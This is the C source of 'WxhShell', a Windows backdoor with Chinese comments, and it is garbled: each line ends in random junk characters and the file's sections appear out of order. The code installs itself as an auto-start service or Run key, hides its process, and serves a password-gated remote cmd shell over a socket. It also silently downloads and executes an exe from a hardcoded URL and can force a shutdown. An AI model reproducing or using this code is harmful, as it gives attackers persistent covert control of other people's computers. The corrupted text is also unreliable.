    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -^JGa{9*  
    if(Boot(SHUTDOWN)) *I}_B\kY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D@ji1$K  
    else { i Y2%_b!5  
    closesocket(wsh); z4nVsgQ$  
    ExitThread(0); !r8Jo{(pb  
    } y=jTS  
    break; a;A&>Ei}  
    } oEWx9c{~$  
  // 获取shell 2F[;Z*&  
  case 's': { '\2lWR]ndd  
    CmdShell(wsh); Z)U#5|sf  
    closesocket(wsh); ;')T}wuq  
    ExitThread(0); 0CD2o\`8  
    break; 'd"\h#  
  } X&<#3n  
  // 退出 -^ (NIl'  
  case 'x': { L^`oJ9k!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 995^[c1o6  
    CloseIt(wsh); N -]m <z>  
    break; y{eZrX|  
    } e<p_u)m  
  // 离开 S %"7`xl  
  case 'q': { )pVxp]EI  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); iK"j@1|  
    closesocket(wsh); A/U tf0{3"  
    WSACleanup(); n]B)\D+V^  
    exit(1); sv^; nOAc  
    break; mP)<;gm,  
        } vR?L/G^.  
  } Z6b3gV  
  } X |f'e@  
.~5cNu'#m  
  // 提示信息 K6 ,5C0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Oed&B  
} 7#,+Q(2  
  } (WW,]#^  
"gCSbMq(Vq  
  return; B(MO!GNg=  
} |7zm!^t$  
]sjOn?YA+  
// shell模块句柄 2="C6 7TK  
int CmdShell(SOCKET sock) 'FBvAk6  
{ tE{7S/?h  
STARTUPINFO si; l!ye\  
ZeroMemory(&si,sizeof(si)); aAko-,URC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !qH=l-7A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &%Hj.  
PROCESS_INFORMATION ProcessInfo; )`rC"N)  
char cmdline[]="cmd"; =*'X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ftq~AF  
  return 0; 'q[V*4g  
} 33\b@F7b  
`bZ_=UAb  
// 自身启动模式 RWBmQg^]X  
int StartFromService(void) B`hxF(_p/  
{ e_6 i896  
typedef struct JoZC+G  
{ xuelo0h,  
  DWORD ExitStatus; "0L@cOyG  
  DWORD PebBaseAddress; /]xd[^  
  DWORD AffinityMask; j.C C.[$g  
  DWORD BasePriority; Yb =8\<;  
  ULONG UniqueProcessId; Pr<?E[  
  ULONG InheritedFromUniqueProcessId; :B- ,*@EU  
}   PROCESS_BASIC_INFORMATION; RpLm'~N'  
(oJ#`k:&n  
PROCNTQSIP NtQueryInformationProcess; 2 ;B[n;Q{  
rMlbj2T  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c_^H;~^rL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5<w0*~Z d~  
33Mr9Doon  
  HANDLE             hProcess; 4 qW)R{%  
  PROCESS_BASIC_INFORMATION pbi; n?,fF(  
bM^'q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ((dG<  
  if(NULL == hInst ) return 0; .^kTb2$X  
l:@.D|(o3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I )B2Z(<Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m Xw1%w[*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k5xirB_  
A)7'\JK7b  
  if (!NtQueryInformationProcess) return 0; dbZPt~S'$  
K0I-7/L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )kUq2 -r  
  if(!hProcess) return 0; ?qK:P  
3!$rp- !<)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0XozYyq  
V,M8RYOnC!  
  CloseHandle(hProcess); _F3vC#  
h}`<pq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); OC\C^Yh*U  
if(hProcess==NULL) return 0; jEO;  
\W@?revK  
HMODULE hMod; sox 90o 7  
char procName[255]; F37,u|  
unsigned long cbNeeded; <I|ryPU9{X  
jA]xpf6}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v5$zz w  
A`r&"i OKA  
  CloseHandle(hProcess); Y2$ % %@  
3]VTQl{P  
if(strstr(procName,"services")) return 1; // 以服务启动 2dI:],7  
L,kF]  
  return 0; // 注册表启动 sU}e78mh  
} \R#XSW,  
q5RLIstQ\  
// 主模块 etDB|(,z  
int StartWxhshell(LPSTR lpCmdLine) (8ymQ!aY  
{ 1%=,J'AH  
  SOCKET wsl; i'EXylb  
BOOL val=TRUE; 5g&'n  
  int port=0; a,tP.Xsl  
  struct sockaddr_in door; j/Kw-h ,5"  
Kc{wv/6}T  
  if(wscfg.ws_autoins) Install(); T@S+5(  
]jYl:41yI  
port=atoi(lpCmdLine); dvj`%?=  
,,iQG' *  
if(port<=0) port=wscfg.ws_port; r-V./M@L  
l;;:3:  
  WSADATA data; W.CIyGK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >3Y&jsh<  
Je*gMq:D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   FQ4rA 4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0+H"$2/  
  door.sin_family = AF_INET; {l1;&y?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hmi15VW  
  door.sin_port = htons(port); [j/-(?+  
}ps6}_FE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l:[=M:#p  
closesocket(wsl); N!va12  
return 1; G dooy~cn  
} AUq?<Vg\  
/;>EyWW  
  if(listen(wsl,2) == INVALID_SOCKET) {  6$Dbeb  
closesocket(wsl); #QB`'2)vw  
return 1; Ar$LA"vu4  
} P"#^i<ut@T  
  Wxhshell(wsl); Av[jFk  
  WSACleanup(); C^~iz in  
BxG;vS3>*e  
return 0; `<Ftn  
K4tX4U[Z  
} >ylVES/V  
>9klh-f  
// 以NT服务方式启动 = G_6D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j?,$*Fi  
{ 0jyokER  
DWORD   status = 0; 2,fB$5+  
  DWORD   specificError = 0xfffffff; R's xa*VB  
LSs={RD2+p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Owr`ip\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G@;aqe[dB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p[$I{F*a  
  serviceStatus.dwWin32ExitCode     = 0; Z~R i%XG  
  serviceStatus.dwServiceSpecificExitCode = 0; O//e0?]W  
  serviceStatus.dwCheckPoint       = 0; #-`lLI:w0  
  serviceStatus.dwWaitHint       = 0; <eI;Jph5  
a"zoDD/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r3-3*_  
  if (hServiceStatusHandle==0) return; E5 dXu5+ye  
D'&L wU,o  
status = GetLastError(); :z:Blp>nK/  
  if (status!=NO_ERROR) Mc6y'w  
{  96BMJE'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; K$Ph$P@   
    serviceStatus.dwCheckPoint       = 0; :8ZxOwwv  
    serviceStatus.dwWaitHint       = 0; tX_eN  
    serviceStatus.dwWin32ExitCode     = status; (!b: gG  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6IX!9I\sT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7-dwr?j7  
    return; BAhC-;B#R  
  } M Q6Y^,B  
,y>Na{@Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @K/I a!Lw  
  serviceStatus.dwCheckPoint       = 0; @.{  
  serviceStatus.dwWaitHint       = 0; d.Z]R&X08  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r~TT c)2  
} MXy{]o_H~  
aI<~+]  
// 处理NT服务事件,比如:启动、停止 1gE`_%?K  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bm4W,  
{ 1mX*0>  
switch(fdwControl) 1 W0;YcT]  
{ 0D'Wr(U(  
case SERVICE_CONTROL_STOP: TU/J]'))C  
  serviceStatus.dwWin32ExitCode = 0; aPC!M4#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~g{,W  
  serviceStatus.dwCheckPoint   = 0; )=D&NO67Pq  
  serviceStatus.dwWaitHint     = 0; b>i=",i\  
  { nqBu C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r>Ln*R,9D  
  } I?>#neHc6  
  return; <%z/6I Af|  
case SERVICE_CONTROL_PAUSE: B4}XK =)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; q :bKT#\  
  break; c&++[  
case SERVICE_CONTROL_CONTINUE: (yP55PC O$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3\{Sf /#  
  break; ,B2 -'O  
case SERVICE_CONTROL_INTERROGATE: p[b\x_0%c  
  break; ZYA(Bg^  
}; +RkYW*|$S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H[D/Sz5`  
} ]c)SVn$6  
BGX@n#:  
// 标准应用程序主函数 }]I?vyQ#V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $<v_Vm?6d  
{ K288&D|1WU  
:~(im_r  
// 获取操作系统版本 9zJ`;1  
OsIsNt=GetOsVer(); %\l,X{X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L3AwL)I   
zqh{=&Tjx  
  // 从命令行安装 +HX'AC  
  if(strpbrk(lpCmdLine,"iI")) Install(); +]-KzDsr"V  
9QMn%8=j  
  // 下载执行文件 2An`{')  
if(wscfg.ws_downexe) { Bt,Xe~$z-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R~~rqvLm  
  WinExec(wscfg.ws_filenam,SW_HIDE); &wN 2l-  
} #E9['JnZ  
' l|_$3  
if(!OsIsNt) { [Ni4[\  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y9;Mey*oW  
HideProc(); ?_aR-[XRg  
StartWxhshell(lpCmdLine); spJ(1F{|V  
} I*}#nY0+  
else Ct)MvZ  
  if(StartFromService()) sh ;uKzQ  
  // 以服务方式启动 3ZlI$r(  
  StartServiceCtrlDispatcher(DispatchTable); &>e DCs  
else iI*7WO[W  
  // 普通方式启动 8(>.^667  
  StartWxhshell(lpCmdLine); c~xo@[NaS  
!9, pX  
return 0; -`OR6jd  
} 91H0mP>ki  
l,.?-|Poa  
h '[vB^  
]ufW61W6Ci  
=========================================== Db(_T8sU  
%v[ Kk-d  
sg{D ?zl  
au|^V^m  
d|]O<]CG_  
C8EC?fSQ  
" /\rq$W_  
<(4#4=ivP  
#include <stdio.h> ,SF.@^o@a  
#include <string.h> 8[)]3K x  
#include <windows.h> 6#M0AG  
#include <winsock2.h> -vHr1I<  
#include <winsvc.h> SFk#bh  
#include <urlmon.h> Jv <$AI  
`{F~'t['  
#pragma comment (lib, "Ws2_32.lib") R*Z]  
#pragma comment (lib, "urlmon.lib") 7[g;|(G0  
rxj@NwAno  
#define MAX_USER   100 // 最大客户端连接数 ^,lZ58 2  
#define BUF_SOCK   200 // sock buffer Wk\@n+Q {]  
#define KEY_BUFF   255 // 输入 buffer ^Pd3 7&B4V  
T[-c|  
#define REBOOT     0   // 重启 ]M;6o@hq  
#define SHUTDOWN   1   // 关机 @b\ S.  
.vS6_  
#define DEF_PORT   5000 // 监听端口 1?|6odc  
b$O_L4CP  
#define REG_LEN     16   // 注册表键长度 vt@Us\fI  
#define SVC_LEN     80   // NT服务名长度 `t0f L\T  
j yRSEk$  
// 从dll定义API =nx:GT3&[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H'{?aaK|t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [!@oRK=~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :z.Y$]F@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); drKjLo[y  
S tnv>  
// wxhshell配置信息 :KSor}t  
struct WSCFG { JhCkkw  
  int ws_port;         // 监听端口 t-i6FS-  
  char ws_passstr[REG_LEN]; // 口令 +xfW`[.{  
  int ws_autoins;       // 安装标记, 1=yes 0=no l(,;wAH  
  char ws_regname[REG_LEN]; // 注册表键名 ;{f??G  
  char ws_svcname[REG_LEN]; // 服务名 0^_lj9B!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 EB5_;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 tIb21c q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ny(GTKoUz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no eQFb$C]R}y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yv)nW::D(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^mueFw}\  
Hp}  
}; PKR $I  
c~UAr k S  
// default Wxhshell configuration $i:||L^8p  
struct WSCFG wscfg={DEF_PORT, ouVjZF@kS  
    "xuhuanlingzhe", ; ,=h59`  
    1, z5` 8G =A  
    "Wxhshell", EeJqszmH  
    "Wxhshell", zk 5=Opmvh  
            "WxhShell Service", "6N~2q,SW  
    "Wrsky Windows CmdShell Service", 4su_;+]  
    "Please Input Your Password: ", s`=/fvf.  
  1, 'B (eMnLg  
  "http://www.wrsky.com/wxhshell.exe", LuP?$~z  
  "Wxhshell.exe" hiRR+`L%  
    }; Y^6[[vaj2  
hyb +#R  
// 消息定义模块 xN3 [Kp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $iqi:vY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %gu$_S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ji6`-~ k  
char *msg_ws_ext="\n\rExit."; P$18Xno{  
char *msg_ws_end="\n\rQuit."; :%#r.p"6x  
char *msg_ws_boot="\n\rReboot..."; :vK(LU0K  
char *msg_ws_poff="\n\rShutdown..."; ^'&iYV  
char *msg_ws_down="\n\rSave to "; =r@gJw:B  
a1G9wC:e  
char *msg_ws_err="\n\rErr!"; *i?rJH  
char *msg_ws_ok="\n\rOK!"; J4G> E.8  
px _s@>l`  
char ExeFile[MAX_PATH]; [.;%\>Qk<  
int nUser = 0; Kr/h`RM  
HANDLE handles[MAX_USER]; qA/#IUi)1  
int OsIsNt; mT6q}``vtG  
/e|[SITe  
SERVICE_STATUS       serviceStatus; Jf?S9r5Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Er"R;l]xJ  
K)/!&{7n}a  
// 函数声明 %e Sm&`  
int Install(void); lMBX!9z  
int Uninstall(void); \ I^nx+l  
int DownloadFile(char *sURL, SOCKET wsh); -4e) N*VVu  
int Boot(int flag); 9K;k%  
void HideProc(void); N&fW9s}  
int GetOsVer(void); G; C8Kde  
int Wxhshell(SOCKET wsl); U['JFLF  
void TalkWithClient(void *cs); T2DF'f3A  
int CmdShell(SOCKET sock); > 'aG /(  
int StartFromService(void); d $fvg8^  
int StartWxhshell(LPSTR lpCmdLine); X<~k =qwA  
7-".!M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m!5HRjOO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); SqXy;S@  
7deAr$?Wx  
// 数据结构和表定义 |Bx||=z`  
SERVICE_TABLE_ENTRY DispatchTable[] = >-5td=:Z  
{ .!yWF?T8  
{wscfg.ws_svcname, NTServiceMain}, X-kXg)!Bg  
{NULL, NULL} X!o[RJY  
}; _BG8/"h32  
%/l-A pu  
// 自我安装 C}b|2y  
int Install(void) s, n^  
{ EkJVFHfh  
  char svExeFile[MAX_PATH]; nW|'l^&  
  HKEY key; | }K  
  strcpy(svExeFile,ExeFile); E?Zb~xk  
+65oC x  
// 如果是win9x系统,修改注册表设为自启动 t_dcV%=  
if(!OsIsNt) { 0 kf(g156  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k SB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VK2@2`$  
  RegCloseKey(key); :`0'GM" `  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l`@0zw+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oL<BLr9>  
  RegCloseKey(key); 3ty4D2y  
  return 0; k"">2#V  
    } I&L.;~  
  } U^%9 )4bj  
} ^Xs%.`Gv/  
else { )|y#OZHR  
fy&#M3UA\U  
// 如果是NT以上系统,安装为系统服务 &Nc[$H7<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )@}A r  
if (schSCManager!=0) }m6f^fs}  
{ ?gLR<d_  
  SC_HANDLE schService = CreateService [IiwNqZ[~  
  ( ,YjxC p3  
  schSCManager, u`'ki7LA  
  wscfg.ws_svcname, "\}b!gl$8  
  wscfg.ws_svcdisp, Q_ctX|.  
  SERVICE_ALL_ACCESS, a9[mZVMgUK  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i=oTg  
  SERVICE_AUTO_START, _ XE;-weE  
  SERVICE_ERROR_NORMAL, `-VG ?J  
  svExeFile, w6vLNX  
  NULL,  fO K|:  
  NULL, sffhPX\I  
  NULL, -i#J[>=w{C  
  NULL, @-0Fe9 n=  
  NULL 9khjwt  
  ); {!L=u/qs"  
  if (schService!=0) vR7ctav  
  { xEjx]w/&  
  CloseServiceHandle(schService); U+-F*$PO+  
  CloseServiceHandle(schSCManager); Pp ,Um(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "tqnx?pM  
  strcat(svExeFile,wscfg.ws_svcname); n_v02vFAHT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C(G(^_6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6N"m?g*Z d  
  RegCloseKey(key); rwy+~  
  return 0; H4t)+(:D'  
    } Zr=ib  
  } 7 0_}S*T  
  CloseServiceHandle(schSCManager); Y?<)Dg.[  
} Cl,9yU)1n  
} elu=9d];@  
)1WMlG  
return 1; jh[ #p?:  
} H"eS<eT  
13H;p[$  
// 自我卸载 ;AKwx|I$g  
int Uninstall(void) Hb+X}7c$  
{ E Zi&]  
  HKEY key; G~"z_ (  
u$C\E<G^  
if(!OsIsNt) { Oukd_Ryf   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :$NsR*Cq*9  
  RegDeleteValue(key,wscfg.ws_regname); GQb i$kl  
  RegCloseKey(key); eH %Ja[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u^t$ cLIZ  
  RegDeleteValue(key,wscfg.ws_regname); ]% K' fXj$  
  RegCloseKey(key); _ Hc%4I  
  return 0; ;`DD}j`  
  } ?\ZL#)hr"p  
} yNBv-oe5  
} <:">mV+/  
else { e!GZSk   
YxXq I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9UV9h_.x  
if (schSCManager!=0) HmMO*k<6@  
{ ! D$Ooamq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "tUwo(K[  
  if (schService!=0) hUh+JW  
  { eTT) P  
  if(DeleteService(schService)!=0) { h h"h j  
  CloseServiceHandle(schService); vwmBUix  
  CloseServiceHandle(schSCManager); !scD|ti  
  return 0; {=67XrWN1  
  } 8f|98T"  
  CloseServiceHandle(schService); j C)-`_  
  } 5MR,UgT  
  CloseServiceHandle(schSCManager); Sm)u9  
} V7EQ4Om:It  
} TN\|fzj  
R:M,tL-l  
return 1; h$`#YNd'  
} nBkh:5E5%  
O#)jr-vXdV  
// 从指定url下载文件 49AW6H.JT  
int DownloadFile(char *sURL, SOCKET wsh) X3',vey  
{ dxK9:IX  
  HRESULT hr; k=$AhT=e}n  
char seps[]= "/"; 1yM r~Fo  
char *token; f"dSr  
char *file; s3:9$.tiR[  
char myURL[MAX_PATH]; O(c@PJem  
char myFILE[MAX_PATH]; $5NKFJc  
py @( <  
strcpy(myURL,sURL); RO.U(T  
  token=strtok(myURL,seps); <F(><Xw,-4  
  while(token!=NULL) ! \sMR  
  { wksl0:BL  
    file=token; :QPf~\w?  
  token=strtok(NULL,seps); .XS9,/S  
  } MLr-, "gs  
Y1)!lTG  
GetCurrentDirectory(MAX_PATH,myFILE); nls   
strcat(myFILE, "\\"); -_em%o3XC  
strcat(myFILE, file); dEp7{jY1O  
  send(wsh,myFILE,strlen(myFILE),0); 2%]Z Kd  
send(wsh,"...",3,0); vcv CD7MD  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); BhkoSkr  
  if(hr==S_OK) [ *>AN7W   
return 0; [ c~kF+8  
else V kjuyK  
return 1; 9AQxNbs  
=n+ \\D  
} .X'pq5  
A%X X5*  
// 系统电源模块 rS7)6h7(7  
int Boot(int flag) F9a^ED0l\  
{ r^1+cwy/7P  
  HANDLE hToken; X!>eiYK)  
  TOKEN_PRIVILEGES tkp; S\*`lJzPM  
|ZiC`Nt  
  if(OsIsNt) { %S \8.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x`%JI=q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S\=1_LDx"  
    tkp.PrivilegeCount = 1; b?T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; oyvKa g  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); n}?wVfEy  
if(flag==REBOOT) { \)/yC74r7(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) GpI!J}~m  
  return 0; +?dl`!rE  
} VUwC-)  
else { ;+/o?:AH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Nd@~>&F  
  return 0; M{mSd2  
} 4a''Mi`u  
  } h@ )  
  else { -LW[7s$  
if(flag==REBOOT) { g[[;w*;z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ii &7rdoxe  
  return 0; =d)-Fd2li  
} @t*t+Vqw  
else { j Ux z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +>\id~c(  
  return 0; MTOy8 Im  
} eE@&ze>X  
} }4//@J?:  
g(|{')8?d  
return 1; T'H::^9:E  
} aZ|=(]  
oCS2E =O&  
// win9x进程隐藏模块 ,9D+brm  
void HideProc(void) _O"mfXl6  
{ ep/Y^&$M  
5jxQW ;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 04U")-\O  
  if ( hKernel != NULL ) N<(.%<!  
  { tjT>VwqH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /Q{P3:k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;j8 )KC  
    FreeLibrary(hKernel); 3?n>yS  
  } w= P 9FxB  
2*iIjw3g  
return; $*R/tJ.  
} {0"YOS`3AX  
uxaYCa?  
// 获取操作系统版本 ({WyDu&=  
int GetOsVer(void) A:l@_*C..  
{ H<EQu|f&x  
  OSVERSIONINFO winfo; ^ BQrbY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P [Uy  
  GetVersionEx(&winfo); 9ZXlR?GA  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uocHa5J  
  return 1; }a AH  
  else UMl#D >:C<  
  return 0; NKb1LbnZ*y  
} \*f;Xaa  
e [_m< e  
// 客户端句柄模块 qMt++*Ls  
int Wxhshell(SOCKET wsl) R:Q0=PzDi#  
{ YH&bD16c3  
  SOCKET wsh; 9o*,P,j'}  
  struct sockaddr_in client; 6(d}W2GP  
  DWORD myID;  ,Uhb  
>9e(.6&2XZ  
  while(nUser<MAX_USER) G6@M&u5RT  
{ @f]{>OS  
  int nSize=sizeof(client); A+J*e  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _BdE< !r  
  if(wsh==INVALID_SOCKET) return 1; kHw_ S-  
r$Co0!.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n_ lo`  
if(handles[nUser]==0) &e-U5'(6v_  
  closesocket(wsh); w@JKl5  
else 8{`?= &%6  
  nUser++; 1$qh`<\  
  } ,1OyN]f3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D%6;^^WyUx  
GaX[C<Wt  
  return 0; g<{xC_J  
} HK|ynBAo  
$`R6=\|  
// 关闭 socket  <1%f@}+8  
void CloseIt(SOCKET wsh) PxH72hBS  
{ D?XM,l+  
closesocket(wsh); J Ro?s~Ih  
nUser--; FFdBtB  
ExitThread(0); b4^`DHRu6  
} ;q N+^;,2  
E|'h]NY  
// 客户端请求句柄 M@0;B30L  
void TalkWithClient(void *cs) )jrV#/m9  
{ 2{|h8oz  
L_=3<n E  
  SOCKET wsh=(SOCKET)cs; 3bnS W5  
  char pwd[SVC_LEN]; jReXyRmo({  
  char cmd[KEY_BUFF]; GFr|E8  
char chr[1]; u#}[ZoI  
int i,j; x#Sqn#  
2^i(gaXUQ  
  while (nUser < MAX_USER) { g1t0l%_7^  
,U(1NK8o  
if(wscfg.ws_passstr) { i[wb0yL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Jgnhn>dHe  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o sKKt?^?  
  //ZeroMemory(pwd,KEY_BUFF); a!O0,y  
      i=0; Q0EiEX)  
  while(i<SVC_LEN) { 8Q_SRwN  
>jD[X5Y  
  // 设置超时 4Y[1aQ(%  
  fd_set FdRead; Y>'|oygHA  
  struct timeval TimeOut; cM&{+el  
  FD_ZERO(&FdRead); E[Cb|E  
  FD_SET(wsh,&FdRead); EkziAON  
  TimeOut.tv_sec=8; jH_JmYd  
  TimeOut.tv_usec=0; BcI |:qv|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zOQ>d|p?X  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B^g ?=|{  
h@a+NE8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c y8;@[#9  
  pwd=chr[0]; 6{txm+U  
  if(chr[0]==0xd || chr[0]==0xa) { itC-4^  
  pwd=0; Ja9e^`i;  
  break; D 9M:^  
  } s6>ZREf#J  
  i++; @')[FEdW  
    } 9-MUX^?u  
7hsGua  
  // 如果是非法用户,关闭 socket jy'13G/b\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z[Xd%mhjO  
} KZ/=IP=  
K'GBMnjD  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /~3r;M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H)n9O/u  
aA,!<^&}  
while(1) { x&0vKo;  
S\;V4@<Kn  
  ZeroMemory(cmd,KEY_BUFF); M3q|l7|9  
MdW]MW{  
      // 自动支持客户端 telnet标准   &Y }N|q-  
  j=0; irfp!(r  
  while(j<KEY_BUFF) { 6fw(T.Pe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DY`kx2e!  
  cmd[j]=chr[0]; N0r16# -g  
  if(chr[0]==0xa || chr[0]==0xd) { [sW3l:^  
  cmd[j]=0; |j7,Mu+  
  break; b9l;a+]d  
  } OLE[UXD-E  
  j++; k?,1x~  
    } ^0 -:G6H  
OynXkH]0T+  
  // 下载文件 <[-nF"Q  
  if(strstr(cmd,"http://")) { pS:4CNI{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); o,)?!{k}  
  if(DownloadFile(cmd,wsh)) ;5)P6S.D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]?(-[  
  else B8}Nvz /  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %rv7Jy   
  } z*!%g[3I  
  else { "/wyZ  
H5Io{B%=  
